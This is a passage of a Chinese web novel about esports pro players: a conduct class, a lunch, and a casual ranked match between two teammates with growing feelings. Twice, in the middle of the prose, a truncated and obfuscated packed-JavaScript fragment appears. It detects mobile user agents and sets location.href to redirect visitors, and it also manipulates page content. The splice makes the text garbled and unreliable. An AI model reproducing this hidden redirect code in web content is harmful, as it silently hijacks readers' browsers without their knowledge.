小柯将目光挪到白柚身后,他看着少年宫的靠门站着的希楠以及旁边的人,叹口气道:“而且郁秋并不是外界传的那样的性格,你要不试着去摘除外界声音对他的滤镜?” “哈?算了吧。”白柚没忍住发出一股嗤笑,“说实话,原本还以为他这一年是被邱子幸陷害所以黑流不断。但现在呢?JYY一脱离苦海,不照样像以前一样继续炒流量博眼球?如果不算上一个没钱的战队为什么能掏出来一大笔钱买下这小子,其他三个大热搜,踢队友、排位赢下S组,还有个cp……” 说着,他不屑的眼神瞟向夜雨辰:“明明是个刚进圈的新人就开始玩流量,你来这到底是打比赛还是当偶像的?这是职业圈,不是饭圈。” 夜雨辰眉头拧成一团,看着白柚的眼神不禁降下温度。 小柯也眉头皱起,表情写满了警告:“注意言辞。” “我说错了?”白柚冷笑一声,“排位哪个战队会认真打?又不是比赛,而且两边都在直播,再怎么样都不会全力以赴吧?不然这么白白泄露战术给对手拆析吗?那可真是个慈善家。” 听到这,夜雨辰的手指没忍住微微一抽。 “而且,现在大部分新人刚进圈就想着今天自己踏入职业圈,明天就是冠军,就是明星选手了。明明这条路才刚开始,大部分人甚至连个上场的机会都没有,然后就开始逍想甚至代入自己荣华富贵的生活,还自以为是的搞那些为了涨热度而让人没眼看的手段。” 白柚眼里闪过一抹厌恶:“真以为当上职业就成功了?那我们这些努力了几年才成为明星选手或那些依旧没成功的人,在圈里的摸爬滚打吃过的苦是什么?” 小柯语塞。 他这次没有第一时间反驳。 其实,根据刚刚上课前夜雨辰的反应,他也有点无法确定夜雨辰到底是不是炒作的。 而且,白柚说的话确实很针对大部分职业新人现有的心里状态。 现在很多人一踏入一个圈子,就自认为自己过不了多久就能像最顶尖的高手一样,就比如Fire的沦陷,直接站在圈子的最顶端享受着荣誉、富贵和名声。而他们如果没有成功,则只会抱怨外界因素和自己运气不好,完全不去考虑自己的“努力”是否可以称为“努力”。 他们永远看不见别人的付出,只迫切的一心求成。 有些甚至会直接在队里当面嘲讽老选手,他们不行是因为他们菜,然后开始畅想自己的白日梦。 新人年轻气盛心高气傲理所应当,但就算肚量再大,也没有人会喜欢把他们努力贬低的新人。 可现在不少职业新人,都会有这种脾性。 “前辈。” 夜雨辰的双拳不知什么时候握了起来。 他把所有话全听了进去,难得的是,他这次居然并没有对这些话感到多大的愤怒,不过,他的语气里听不出任何的情绪。 这个白柚虽然嘴上说得话很刺耳,但实际上对他的厌恶主要是认为自己作为一名职业新人却不务正业。 但这本身就是一个误会,虽然他也懒得跟对方解释,毕竟解释不清。 他抬眸,目光灼灼地看着白柚,“做为一名新的职业选手,我不敢说大部分人,至少我有冠军梦是件合乎情理的事,我本身就是为了冠军才选择了这条路。” 他一字一句道:“我虽然也是一名新人,但我永远不会轻看所有前辈们一路的艰辛,因为这些也很大可能是我未来的必经之路。” 他的眼神变得更加坚毅,语气铿锵有力,眼里闪烁着自信的光芒, “如果我说这次的‘炒cp’是个意外,你肯定不会信,我也懒得解释,所以我只会说,赛场上见,我会拿电竞圈最有效的方法,说明一切。” 言语虽空,但行动可以说明一切。 电子竞技里,只有实力,这是封住任何声音的最好武器。 白柚沉默着和他对视着。 半晌,他才幽幽地瞥开眼神:“嘁……以你们战队的实力,一整个赛季肯定都碰不到我们,根本没办法跟我说明什么。” 夜雨辰张口,想立马反驳。 “但,” 白柚烦躁地挠了挠头,心不甘情不愿地说道:“那是以前,现在这个邱子幸一来,估计就有可能碰得上了,希望你们这个赛季能有出色的成绩吧。也希望你以后能记得你今天说的这几段话, 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“我怎么知道他?和他又不熟。”白柚直言不讳道,“他好听点说是替补,但要是邱子幸没来,他也没有上场的机会,何况现在替补变成了军仁,那他连和我们住一起的机会都没有了,现在应该都搬去隔壁和二队住了吧?不知道。” 说到这,他摇了摇头,便直接离开了。 嘉辉一怔:“谢谢前辈。” 说完,他就转头看向夜雨辰,有点生气道:“那家伙真的就是啥都不说。” 小柯不由得好奇地问道:“你们说的也是新人吗?” 夜雨辰点点头:“嗯,我们三一届,他和嘉辉在青训营关系是最好的,我和他在他进青训营前就认识了。” 小柯拍了拍夜雨辰的肩:“没事,说不定你朋友去二队还是好事呢,和邱子幸一起打比赛的话确实没什么好运气。”然后,他又把视线重新看向少年宫的大门口,目不转睛地盯着那,有些出神。 嘉辉疑惑的跟过去视线:“你在看什么?” 夜雨辰跟着回头看去,倏地一愣。 只见郁秋和希楠拦住了白柚,两人脸色并不算多好看,似在和对方说着什么东西。 他是什么时候在那的? 郁秋冷声看着白柚道:“你就说了这些?” 白柚翻了个白眼:“你好烦,说实话你又不愿意听。” 希楠语气不善:“那虞柯为什么会生气?” 白柚无语道:“大哥,他哪门子生气了?他就是觉得我的话比较冒犯所以警告我,但我说的确实是现在新人常有的现象。” 郁秋才不管白柚想表达什么:“不管他事,你别扯上他。” 白柚没好气道:“你们自己战队公关做得不好就别怪别人这么去想你们,单拎出他?凭什么?哪个战队炒cp前不是得到了队员的同意?你随便去问一圈,十个人里至少八个人这么想,管你什么无心无意,大家看到的就是这样。” 说完,他便头也不回地走向了教室。 希楠冷哼一声:“过会找虞柯对答案。” 郁秋叹了口气,无语地看向希楠:“所以你为什么一直在我旁边散步?他要你来打听什么?” “……”希楠脸上完全没有被拆穿的任何尴尬,被对方道出了目的,直白道,“你和Night是什么关系?” 郁秋随口答道:“队友、舍友,炒cp对象,最多还有个竞争过巅峰第一的关系,够吗?” 希楠摇头:“不够,小柯刚刚看到你俩牵手了。” 郁秋全身僵了一瞬,随即若无其事道:“那是他看错位了。” “……”希楠垂眸思索了半晌,笃定道,“你喜欢他。” 郁秋:“。” 他表现得有这么明显? “很明显,你现在和我当初的样子很像。”希楠读懂了他脸上的表情,点了点头,随即,他又感到奇怪, “不过你在害怕什么?他看上去也喜欢你,小柯亲眼看到他主动钻进你手里的。” 郁秋哑然:“……” 为什么这俩人重点可以抓得这么犀利? 55. 第 55 章 上课时间一临近,所有人都回到了自己的座位上。 小柯一坐下来,目光就往正若有所思的郁秋身上停留了一瞬,然后扭头小声问希楠道:“怎么说?” 希楠耸耸肩:“有机会。” 小柯眼睛闪过一抹亮光:“那就是迟早能成咯?” “……”希楠语气略带一股酸意,“第一次看你这么关注别人这种事。” 小柯干咳两声,解释道:“毕竟圈内我还没有过志同道合的朋友嘛,他们要是成了我不就多个朋友可以去聊一些话题。” 希楠微微蹙眉:“有什么不能和我聊?而且……” 说着,他的眼神幽深起来,嘴角勾起一抹玩味的笑意:“聊不如行动。” “……” 小柯嘴角一抽,脑子里瞬间闪过许多混乱的场景。 为什么不想和你聊你还不清楚? 他干脆直接不去理希楠,装作很忙的样子凑到夜雨辰身边。他指了指前排几个人的方向,强行扯了个话题:“喏,你看第二排,坐在最右边那两个,你应该认识是谁吧?” 夜雨辰疑惑地顺着小柯的目光看去,那里刚坐下两名青年——一个白发且瘦和一个身材壮硕。 他眼里闪过一抹惊讶。 确实认识。 不过要不是因为前几天撞车那把排位赛,有些营销号把他们的照片和直播切片剪进了视频,他确实认不出来。毕竟圈内大部分选手的名字他虽然都有耳闻,但他并不好奇对方长相如何。 Wao的射手IN和边路伞大。 他小声道:“伞大居然也会来这。” 他还以为伞大这种明星选手并不会触犯到和“素质”相关的惩罚呢。 小柯摆了摆手:“我和希楠也在这,所以他来不也很正常?” 夜雨辰一噎,眼神不禁怪异了起来:“……也是。” 小柯和希楠是圈内公认的最强“中野组合”,在联盟的咖位和伞大是一样的。 只不过他还记得一个多小时前,小柯说希楠是被他“拖累”来的。 不过,他不由得小声感慨道:“我还以为S组的战队在‘素质’这方面会管的比较严,特别是你们明星选手。” “额,管是肯定会管的。”小柯似有点尴尬的挠了挠脸,“但是管理后有没有效果就得另说,毕竟我们直播大部分时间是打巅峰嘛……嗯,你也能理解。” 夜雨辰:“……” 确实,他可太理解了。 巅峰赛一直都是“单人排位”的游戏模式,而且所有玩家都会以自己为核心来进行游戏思路。所以如果遇到和自己意见相悖的队友还好,见得多了争吵多了,他们自然而然会控制住情绪好好哄队友或退让一步。 但那种不听指挥、一直压力队友、甚至把锅甩到自己身上的傻子,生气是难免的,如果加上各种外界因素,比如观众也忍不住骂这个人、连跪、或这把自己本身打得就很憋屈,实在没忍住爆个粗口简直是太正常不过了。 只可惜,只要在直播爆任何粗口,不管什么原因喷了多少字,都会被联盟抓住并吃惩罚。 老魏开始点名的声音响彻整个剧院。 小柯介绍道:“其实也有各别战队会对这些管得比较严,完全不允许自家队员出现在这个地方,就比如说Fire。” 夜雨辰:“为什么?” 小柯摇摇头,随口答道:“这些都是上层的管理,我也不清楚,要是猜的话可能怕丢脸或给其他战队抓到能黑的把柄?毕竟他们战队有个沦陷,所以联盟大部分粉丝的目光都会聚焦在他们战队身上,在同行眼里挺碍眼的。” 电竞圈里,一个实力强劲、性格好且外表也出色的选手,真的会很吸引粉丝的目光。 夜雨辰没有回答。 他能理解为什么小柯会这么猜测。 毕竟同是职业选手和战队,Fire的实力、资源和粉丝数目都在联盟是最顶端的存在,所以同行里不可能没有人对这个战队以及里面的成员产生任何嫉妒心。 他问道:“那除了你们、Wao还有刚刚FQ的那个白柚,还有其他S组战队的选手吗?” 小柯眨眨眼,随即扫了一圈坐在他们前排的全部人的背影,然后摇了摇头:“好像没了,就我们几个,有些可能是二队或替补的吧,那我第一时间认不出来。” 郁秋在这时突然插了个嘴。他毫不掩饰语气里的笑意,平和道:“你的意思是,夺冠三巨头里,就只有你和希楠来这吃罚了?” 夜雨辰偏头看向郁秋,只见对方正托着脸,悠哉悠哉地看着小柯,但是眼里写满了嘲讽的味道。 “……”小柯沉默半晌后才幽幽地瞥开和郁秋的对视。他撇嘴道,“不就刚刚问你一些问题,有必要这么记仇吗……” 夜雨辰一愣,转头看向郁秋:“什么问题?” 这两个小时小柯不是一直在他和他聊天吗? 郁秋莞尔看着夜雨辰:“没什么,他乱说的。” 夜雨辰半信半疑地回头看向小柯:“……是吗?” 在他转回头的那一刹,他恰好看到小柯的嘴角上翘一瞬又立马压平的样子。 小柯立马干咳两声,克制住自己想嘲讽郁秋不敢说实话的冲动,再次硬生生扯开了话题:“谬赞了,什么夺冠三巨头,我们战队运气好而已。” 夜雨辰看着小柯这副转话题的模样,挑了挑眉:“……” “夺冠三巨头”,就是现在的Fire、Eagle和PG战队。 这三个战队在JYY的冠军时代落幕后,几乎包揽了这一年所有比赛的冠亚季军,因此被所有观众称为“夺冠三巨头”,也有不少人在这几个赛季开始前都会打赌,这个赛季的比赛究竟会是哪个战队夺冠。 “孔以南。” 他们安静的这几秒,再次听清老魏点其他选手名字的洪亮声。 “高马将。” “楚光。” …… 许是意识到空气有些莫名的尴尬,小柯一听到这些名字,直接往前排座位观望着什么,倏地,他嘴角不由得再次翘起,然后他重新看向夜雨辰:“好有意思,你有没有兴趣听听我发现了什么?” “……”夜雨辰已经完全习惯了对方突然扯话题的模样,随意道:“你说。” 小柯趴在桌上,随意指了指下面几个地方:“你看,刚刚点到的五个人全是QYG的首发,但他们分别坐在这几个位置。” QYG战队,是和JYY一样在联盟里的B组吊车尾战队。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081149|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,一个战队的全部首发都来这个地方上素质培训课,也是极为罕见了。 夜雨辰顺着小柯的手指看过去。 只见QYG那五名队员,有两名坐在第一排左手边的中间,有两个人坐在第三排右边的最边缘,而还有一个人则坐在第二排的走道旁。 五个人坐得位置都相隔得很远,要不是因为点名的缘故,一般人真发现不了他们居然是一个战队一起打比赛的队友。 夜雨辰挑眉:“然后呢?” 小柯小声道:“你没发现其他战队的选手,如果是一个战队的,几乎都会坐在一起吗?比如伞大和IN,比如我和希楠,比如你和郁秋……” 夜雨辰眨眨眼:“可能没有五个连在一起的座位?” “不不不。”小柯摇了摇手指,“我一直听说QYG的内部一直有关系不和的状况,现在看他们这种‘221’的座位分布,估计是真的了。” 夜雨辰对别的战队的关系漠不关心:“你知道的真多。” 小柯谦虚道:“侥幸打听到的,这不是顺便跟你介绍一下你不久后的对手吗?” 说着,他又故作神秘道:“我还有其他的发现呢,你有没有兴趣听?” 夜雨辰双手抱胸:“愿闻其详。” 他还真的挺好奇,仅凭老魏点名,这家伙究竟能发现多少东西。 小柯掰了掰自己的手指,确认后,跟夜雨辰道:“我刚刚算了一下,咱们教室几十个人,A组的选手和B组的选手数量差不多,而首发包括我们几个,几乎都跟你介绍过了。” 说到这,他不由得感叹道:“不过整个教室,边路和射手的人数居然占了教室的一半!其次是打野,然后再是中单,而辅助居然只有四个人!你说他们玩辅助的脾气怎么都那么好啊?” 对于刚开始从不玩辅助到现在只玩一个大乔辅助玩了接近千场的夜雨辰来说,他对这个辅助人数很少的现象应该有些头绪。 但也有点一言难尽。 “……可能辅助玩家操心操习惯了吧。” 也可以说是心累到懒得骂了吧。 他知道,辅助玩家的脾气其实可能也好不到哪去。 毕竟这是唯一一个一整把可以同时注意到四个位置玩家的表现、也最容易背锅的位置。 但对夜雨辰来说,这真的是个神奇的位置,他玩辅助的时候心态总比中单好。 因为对一些队友的下饭操作已经习惯到懒得说教了。 他可忘不了,他玩辅助大乔的十把逆风局里,除掉被队友甩锅,至少八把开麦指挥队友的时候,需要先平心静气的去哄好队友放平心态去接受打逆风局,然后自己再找机会去运营,并指挥队友该怎么翻盘。 而且,玩辅助最容易遇到那种刚帮完打出优势,自己转身去占个视野,结果一个扭头的功夫,队友就被对面抓死的情况。甚至还会倒打一耙让他背锅。 要说不生气,那是不可能的。 但是后来他发现,他争辩回去队友也不会听还会继续甩锅,而这反而影响到了其他队友的心态和操作。 所以最后,只要夜雨辰在巅峰赛玩得是辅助大乔,他只会为了赢去指挥队友和队友沟通,不然,他完全懒得去和队友费任何口舌。 56. 情头? 下课后,夜雨辰坐一整排的六个人,除了比较膈应郁秋的风行以外,其他五人一起打算随意在附近一个面馆解决午饭。 嘉辉从接过自己点的的那碗面到掰开筷子开始吃,目光全程没离开过放在桌上的手机。 上面显示的内容全是刚刚老魏上课提及的知识点。 小柯看着嘉辉如此时不我待复习的模样,没忍住笑道:“不着急,你又不是七戈那傻逼把自己作到及格线边缘。吃完饭最多才一点,还可以复习一个小时,足够了。” 刚刚下课的时候,老魏把所有人的手机一发下来,就把课上的PPT发进了微信群,并将考试的时间设为下午两点。 而在宣布下课前,他把好几个人包括七戈在内的分数直接率先打到了及格线上。 罚七戈的原因,是因为课前走廊他不经意看见了七戈对他人竖中指和爆粗的行为,觉得他作为一名公众人物完全没有任何对于自己在公共场合“素质”不过关到来这地方上课的举动进行反思,所以以此警告。 至于为什么是下课后才通知他。 毕竟老魏担心课前提前通知这家伙就翘课了。 嘉辉对小柯的声音充耳不闻,继续目不转睛地盯着自己的屏幕,似在争分夺秒的背诵。 希楠眸也不抬一下地喝了口茶,语气平淡道:“不及格明天自己早起来补课,我要睡懒觉。” 小柯全身微不可察地僵了一瞬。 他扭过头,看向泰然自若、看上去完全不担心下午考试的夜雨辰和郁秋,脸上硬生生扯出了一抹笑容:“你们俩玩了三个小时,看上去完全不担心下午的考试。” 郁秋颔首,随口道:“嗯,打算摆烂,不及格明天就逃课。” 坐在旁边的夜雨辰:“……” 他看着刚好在此时端上来正冒着热腾腾蒸气的蒸饺,边拿双筷子掰开边道:“学校心理讲座讲过,所以了解过。” 玩只是旁边这家伙刚好叫他一起,然后他刚好有兴趣而已。 小柯听到这句话像活见鬼似的,满脸不可思议:“学校??” 夜雨辰感到疑惑:“怎么了?” 反应怎么这么大? 小柯像活见鬼似的:“不是,先不说你上课居然听不听课的问题。上课是多久之前的事情了?几百年前讲的东西你都记得??” “……”夜雨辰的手一顿,平淡地解释道,“高考前会有点心理压力,所以会去听学校专开的讲座放松放松。” 所以刚好上午上课讲的内容几乎都在他的知识库范围内,过会午休时间他看一会应该就差不多了。 不然他也不敢就这么放肆地玩三个小时。 听到这个词,小柯的神色反而更加怪异了:“高考??你现在不是18岁??” 嘉辉的嘴微微一抽,小声跟他解释道:“夜哥今年成年,毕业后来的青训营。” 郁秋在旁似无意地补充道:“嗯对,而且我家中单两个月不到的时间就从青训营毕业了。” 听到这句话,希楠刚掰开筷子的手也一滞。 夜雨辰听到后,十分淡定的迅速吃了个饺子,没有反驳,表情上丝毫看不出任何情绪。 只是眼尾微不可察的上扬了一些。 小柯倒是完全不淡定了。 他直接拍桌站起身:“两个月??” 郁秋莞尔道:“嗯,顺带一句,他是这届的青训状元。” 小柯顿时哑声。 他看似想说些什么,欲言又止。憋了半天,他终于从喉咙深处憋出了一个字:“……六。” 青训虽然只是打职业的流程,但是这么快从里面正式毕业的的选手虽然不是没用,但是是真的屈指可数。 至于参加过高考的职业选手?那更是凤毛麟角。 所以当这两个身份同时出现在一个人身上的时候…… 小柯幽幽地坐了下来,小声吐槽道:“奇葩,你别告诉你高考成绩有个五百来分。” 郁秋这次没有答话,而是直接瞥向夜雨辰,似是在询问对方要不要回答这个问题。 “……”夜雨辰漫不经心的抽了一张餐巾纸,将刚塞进嘴里的东西全数吐了进去并包起来放在丢垃圾的盘子里,神态十分平静,“差不多。” 希楠和嘉辉的眼神瞬间变得像看怪胎一样:“……?” “……哈哈。”小柯干笑两声:“我要是有你这学习成绩,那我肯定不来打职业遭罪。” 郁秋跟着点头附和,笑道:“我也是。” “……” 夜雨辰挑眉,完全忽视了郁秋的话,眼里闪过疑惑。 他承认的成绩明明比实际的低了很多,为什么这三个人的反应……好像还是觉得自己很高分? 不过,他也没继续去询问众人的反应,而是直接拿起自己的手机扫了桌上的点单二维码,低头开始翻看菜单。 “怎么了?” 郁秋的声音小声在他耳边响起。 夜雨辰眼角微微跳了一下。 不过他眸也不抬一下、仔细地看着菜单上的一字一句,完全没有解释自己这个突兀的的行为:“这个口味不好吃,你们三吃,我自己点另一个吃的。” 郁秋:“?” 如果点这个馅的饺子不是夜雨辰提出的主意,他就要信了。 看着对方如此反常的反应,他好奇的夹了一个饺子塞进嘴里,随即,忍俊不禁。 怪不得,外表和菜名完全看不出来。 辣的。 * 吃完午饭后,夜雨辰和郁秋便和他们三个分道扬镳了。 小柯他们三个人选订的酒店恰好是同一个,就在少年宫附近,近且便宜,所以他们都打算中午回自己的房间安稳的休息着。 只有他俩的酒店,离这稍微有点距离,来回可能要半个小时,而且他俩不像他们三个还是听了一会课的。他们是玩到完全没听课,所以就算他俩再怎么知道知识点,也不至于狂妄到完全不看课件。 毕竟谁都不想不及格导致明天再一次的早起上课。 他们随便找了家比较安静且空旷的咖啡店,便先默契的不打扰对方,安静且认真的先开始了“复习”。 这种安静的复习氛围就持续了十分钟。 夜雨辰把整个课件看得差不多的时候,他的余光便注意到郁秋已经放下了手机,似乎往自己的方向靠了靠。 课件上的内容并不多,加上选手们大部分不是自愿学习来的这,所以老魏不可能真的为难他们,考题给一堆又难记又复杂的知识点。 他迅速地看完剩余的几行字,便抬头看向郁秋,开门见山道:“你好像一直有话要说。” 从他们五个分道扬镳到他俩在这家店坐下的路上,郁秋似乎好几次都想开口对他说些什么,但都是欲言又止。 虽然他也有。 郁秋眨了眨眼,丝毫没对自己的反应被对方看穿有任何的尴尬之色。他点点头,“是有,但还是觉得下午考完回去我们慢慢聊会更好。” 夜雨辰:“为什么?” 郁秋轻笑一声:“不安全,隔墙有耳,何况我们这也没墙。” 夜雨辰感到无语:“什么问题这么神秘?” 郁秋摊了摊手:“回去说,要真说我现在想问什么,那我就想问你,来打把游戏?” 夜雨辰的眼神不禁变得怪异:“我可以,但你就不看了?考试这么有自信?” 他是肯定可以确定自己考试能过关,但郁秋真的也有保障吗? 郁秋耸耸肩:“我以前也学过这些,一些相关的心理学书也读过,所以这些对我来说就是表面知识,送分题。” 随即,他一边打开自己手机的游戏,一边笑着补充道:“而且,如果针对我们‘言语’和‘公共场合’的素质来出题的话,我觉得对我们来说应该很简单,毕竟平常游戏我们也不骂人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081150|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夜雨辰跟着打开手机,没忍住嗤笑道:“除非忍不住是吧?” “嗯。”郁秋赞同地点了点头,“所以我觉得现在更重要的是让我玩把游戏精神一下,本来昨天睡得就少,现在还没午觉补。” 夜雨辰默认了这个说法。 对他来说,打游戏确实是一件会让人精神的事情。 因为要不停的思考。 他看了一眼时间——一点一刻,从这里到少年宫五到十分钟,一把游戏大概二十分钟,所以来得及打一把排位,甚至来得及再看一眼课件重温一遍。 不过,他进入排位组队界面后,翻了翻自己的好友列表,随即愣住了。 他疑惑地确认了郁秋的手机界面在游戏大厅后,问道:“你玩的是哪个号?” 他记得他加过郁秋最近打得所有的老板号。 五六个账号,没一个在线。 “自己号。” “什么?” 夜雨辰怀疑自己幻听了。 郁秋无奈地叹了一口气:“我说,我玩自己号,所以我们还没有游戏好友。” 夜雨辰面色古怪的看着他,下意识道:“你吃错药了?” 他都快忘记郁秋这家伙有个职业账号了。 毕竟这个游戏账号已经数个月没有登过了,而队友问郁秋怎么不玩的时候,他也从来是搪塞过去,就说‘不想玩’。 平常他们战队五排的时候,他只会拿老板号打英雄战力表现,而和其他战队打训练赛的时候是有专门用来训练的账号和服务器,根本就不会登到游戏正式服的职业账号。 郁秋点开自己账号的主页页面,看着上面的所有荣誉称号,若有所思。 半晌,他才吐出两个字:“没有。” 夜雨辰:“那你怎么突然玩自己号了?” 这个行为真的是太突然了。 “……”郁秋点开自己的游戏邮箱,开始领着孟凌轩和Kimi游戏账号送到自己账号上数十个限定游戏皮肤,随即似是因为领取到手酸了,他伸个懒腰,轻松道,“突然觉得我们明明是队友却连游戏好友都没有,很奇怪。” 夜雨辰微眯起眼。 不信。 好假的话。 明明他们五排里常常只有他一个非职业标的账号会更奇怪。 毕竟有些不知情或不看他俩直播的路人单看战绩甚至都会以为JYY把郁秋排挤了。 但他质疑的话飙到嘴边,又变成了另一句话:“但我们段位差距太大,打不了双排。” 只打一把也没必要叫别人来五排。 “我也没说打排位啊。”郁秋笑道,“打匹配,轻松点,结束得也快,不怕出什么变故影响到过会考试。” “……” 夜雨辰满心疑惑地加了郁秋的游戏好友。 不过,当他看到他的账号和郁秋的账号同时出现在匹配界面时,不由得呆滞了一瞬。 郁秋的游戏头像,和微信头像一样,纯黑。 而他的游戏头像恰恰相反。 纯白。 单看颜色简直就是情侣头像。 而且他是第一次看到“职业JYY.Qiu”和“职业JYY.Night”的两个id同时出现在同一个屏幕里。 夜雨辰的嘴角不由自主的上扬了一些。 不知道为什么,心里有股说不出的……开心? 他脱口而出道:“是因为小柯问了你什么让你突然想玩这个号吗?” 不然他怎么会突然玩一个已经数个月没登陆过的账号呢? 郁秋一怔,随即笑道:“你很在意他问了我什么?” “……” 意识到自己问了什么,夜雨辰突然哑声。 从他的表情看不出丝毫的承认,但也看不出有没有否认。 郁秋见状,咯咯道:“这样,这把你评分如果比我高,我就告诉你,怎么样?” 57. 炒cp “不怎样,不好奇。” 夜雨辰蹙眉,幽幽地和他拉开距离。 表现看上去确实对此一点兴趣都没有。 “真的?”郁秋挑眉,似打趣道,“我还以为你很想知道呢。” 夜雨辰嘴角一抽:“怎么可能?” 他们具体聊了什么他才不关注,毕竟郁秋和小柯认识的时间应该也有一年,肯定聊过不少话题,所以刚刚他们聊了什么东西关他什么事? 对,就是这样。 他根本一点都不想知道。 而且…… 他瞥向郁秋,嗤笑道:“一个匹配模式你还比评分,幼不幼稚?” 本来对这个实力的玩家来说,这个游戏的排位赛几乎都算炸鱼,那匹配简直就是把整个鱼塘掀翻。 “不幼稚。” 郁秋收起了脸上的笑意,十分认真地答道。 “?” 夜雨辰一愣。 这家伙的脸色怎么突然变得这么……严肃? 只见郁秋的表情肉眼可见地突然写上了‘心情不好’四个大字,冷漠道:“不比算了,开了。” 夜雨辰看着郁秋的模样,双眸微眯。 这人怎么连个没有挑战性的匹配都想着比评分? 比谁炸鱼炸得更多吗? 真没意思。 匹配模式是自由选择英雄,而不是像排位或巅峰赛一样有bp环节。 他看着郁秋二话不说就秒锁了李白,眸中闪过一抹疑惑。 这英雄他几乎没见过郁秋玩。 在赛场上,这英雄算比较好针对的那种,不太利于打团赛,所以,相对来说练得也比较少。 “这是我玩这个游戏第一个的国标英雄。” 似是看穿了夜雨辰的心思,郁秋突然开口解释。 “……” 夜雨辰垂下眼,眸光波动着。 突然,他锁定了一个英雄,然后问郁秋:“还算话吗?” 郁秋没反应过来:“什么?” “不是比评分?” 郁秋一愣。 随即,似是不敢相信地低头,再去确认了一遍夜雨辰锁下的英雄。 确认没看错后,他语气有些怪异道:“你玩这个来比?” 居然是辅助而不是中单。 “怎么,不行?”” 夜雨辰对自己选了个瑶完全不以为意,悠悠道,“匹配炸鱼,一个人乱杀已经够了,所以我随便玩玩。” 给对手留点活路,给队友留点人头。 “……”郁秋实在没忍住嘴角抽了一下:“那你带斩杀?” 如果这个瑶的技能带的是治疗而不是斩杀,他就真信了“随便玩玩”这几个字。 一看就是准备挂在他头上,然后K他人头来抢评分的。 夜雨辰面不改色地一本正经道:“不要在意那么多细节,匹配而已,随便玩。” 郁秋:“……” 合着是来耍无赖的。 结果,这把游戏对二人一下就有了挑战性。 每次都是这样,只要是有关胜负的东西,两个人不管三七二十一,都想争赢。 郁秋一整把的对局注意力除了一开始基本的玩法,心里同时还在不停地计算自己的斩杀线,完全不想给挂在自己头上一直保护自己的某人丝毫机会斩杀K头。 夜雨辰同理,除了正常玩法,他还需要抓住斩杀线的刹那使用斩杀抢下人头,不然,只要他没K到头,那他的技能CD将会长达一分钟,那这段时间里对他来说,拿下人头几乎是无望了。 只不过这次,他们俩都心照不宣地没有对对方场外干扰。 而且,因为郁秋玩的李白有位移技能,而夜雨辰玩的瑶没有,所以,郁秋总会在夜雨辰没使用大招挂在自己头上的时候,专门扭头跑去他旁边接他;而夜雨辰这把也把郁秋保护得很好,靠着这个英雄的机制,吃掉了对方不少关键的控制技能。 开局不到七分钟,他俩就完成了二打五,推到了对面的水晶。 两人此时的战绩一个12/0/5,一个5/0/14。 夜雨辰此时挂在郁秋的头上,若有所思地盯着战绩面板里他们俩的战绩。 这个KDA按理来,两个人最后的评分应该不分上下,甚至他的评分可能会更高一些。 突然,他从郁秋的头上跳了下来。 “卧槽!” 下一秒,一声脏话脱口而出。 “You have been slained!(你已被击杀!)” “?” 郁秋眨了眨眼,对夜雨辰这突兀地举动也没一下反应过来。 这个挂在他头上的瑶突然跳了下来,而他现在所在的位置,在敌方水晶靠里的位置——很靠近泉水。 所以,这个瑶好巧不巧地踩在了对面泉水攻击范围的边缘。 几秒后,郁秋没忍住笑道:“你这是干嘛?送个人头把MVP拱手相让给我?” 夜雨辰的嘴角微微一抽,眼神明显有些阴郁:“……这英雄玩得少,没控制好距离。” 他幽幽地瞥开眼神,咬牙道,“要不别推,给个机会?” 郁秋莞尔道:“好啊。” 然后,他真的就老实地松开了推塔键。 甚至还想陪着夜雨辰也去敌方泉水送个人头的冲动。 但理智告诉他,不行,他这是职业号,夜雨辰那个可以被视为‘不小心’,但他如果这么做,很容易被判为‘故意送人头’或‘挑衅对手’然后吃违规警告的。 奈何这把究竟是5v5游戏。 他们俩不推,还有其他三个队友会推水晶。 “Victory!” 郁秋看着爆炸的水晶,无辜地举起双手,“没办法,队友想赢。” “……”夜雨辰沉默着看着结算页面,半晌,似心不甘情不愿地叹出一口气:“愿赌服输。” 就因为这一个不小心送的一个人头,导致他和郁秋的评分有了差距。 郁秋看着自己的游戏主页若有所思,然后抬眸看向夜雨辰,有些疑惑道:“就这样从了?你似乎有很多问题想问我。” 夜雨辰没好气道:“赢了你还不乐意了?” “那倒没有。”郁秋伸了个懒腰,“托你斩杀的福,精神了不少,不打了,再扫一眼就回去考试,下午回去慢慢聊。” 炸鱼局确实完全没难度,甚至打得容易犯困。 但如果精神专注起来怕自己被K头,那就另说了。 说到这,他似是突然想起了什么,看向夜雨辰:“我确认一下,你过会的考试是有信心的吧?” “啥信心?” “及格。” “……?” 突然有种自己被侮辱的感觉。 这个词是第一次出现在夜雨辰的人生字典里。 “这不废话?问这个干嘛?” “……” 郁秋没有回答,而是直接把自己手机屏给了夜雨辰看—— 【PG.小柯:明天带Night一起出门玩?】 * 考试这两个字,总会给人一种无形的压迫感。 总会有人信誓旦旦地进考场,然后一结束便哭丧着脸出来。 成绩是秒出的,人是在下一秒崩溃的。 考试结束后,夜雨辰一回到酒店,就直接躺在了床上,然后对同样倒在另一张床上的郁秋语气复杂道:“那个小柯……一直都是这样的?” 郁秋也有些语塞:“……嗯。” 一个惩罚课的小考试,难度并不高,对他们俩本来就会且复习过的人来说,肯定轻而易举。 但总有人会完全拒绝学习。 就比如刚刚成绩一出来,就这么在大众广庭之下,抱着 